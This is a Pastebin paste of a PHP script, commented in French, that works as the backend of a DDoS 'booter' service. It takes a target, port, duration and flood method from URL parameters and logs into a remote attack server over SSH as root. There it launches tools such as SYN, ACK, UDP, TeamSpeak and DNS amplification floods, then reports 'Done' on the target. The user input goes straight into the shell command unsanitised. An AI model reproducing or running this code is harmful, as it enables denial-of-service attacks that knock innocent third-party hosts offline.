Advertisement
Guest User

Untitled

a guest
Nov 6th, 2016
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. <?php
  2. ignore_user_abort(true);
  3. set_time_limit(0);
  4.  
  5. // Début de la configuration
  6. $server_ip = ""; // Adresse IP du serveur
  7. $server_pass = ""; // Mot de passe du serveur
  8. $server_user = "root"; // Nom d'utilisateur du serveur (Par défaut root)
  9. // Fin de la configuration
  10.  
  11. $host = $_GET['target'];
  12. $port = $_GET['port'];
  13. $time = $_GET['time'];
  14. $method = strtoupper($_GET['method']);
  15.  
  16. if ($method == "SUDP") { $command = "./sudp ".$host." ".$port." 10 ".$time; }
  17. if ($method == "VSE") { $command = "./vse ".$host." ".$port." 10 ".$time; }
  18. if ($method == "DNS") { $command = "./dnsamp ".$host." ".$port." dns_list.txt 10 ".$time; }
  19. if ($method == "ACK") { $command = "./ack ".$host." ".$port." 10 -1 ".$time; }
  20. if ($method == "XSYN") { $command = "./xsyn ".$host." ".$port." 10 -1 ".$time; }
  21. if ($method == "SSYN") { $command = "./issyn ".$host." ".$port." 10 -1 ".$time; }
  22. if ($method == "TS3") { $command = "./ts3_lite ".$host." ".$port." ".$time." 10"; }
  23. if ($method == "STOP") { $command = "pkill ".$host." -f"; }
  24.  
  25.  
  26. if (!function_exists("ssh2_connect")) die("Function ssh2_connect doesn't exist");
  27. if(!($con = ssh2_connect($server_ip, 22))){
  28. echo "Erreur : Problème de connexion";
  29. } else {
  30.  
  31. if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  32. echo "Erreur : Utilisateur ou mot de passe incorrect";
  33. } else {
  34.  
  35. if (!($stream = ssh2_exec($con, $command ))) {
  36. echo "Erreur : Impossible d'éxécuter les commandes\n";
  37. } else {
  38.  
  39. stream_set_blocking($stream, true);
  40. $data = "";
  41. while ($buf = fread($stream,4096)) {
  42. $data .= $buf;
  43. }
  44. echo "Done sur $host :) Pdt $time ";
  45. fclose($stream);
  46. }
  47. }
  48. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement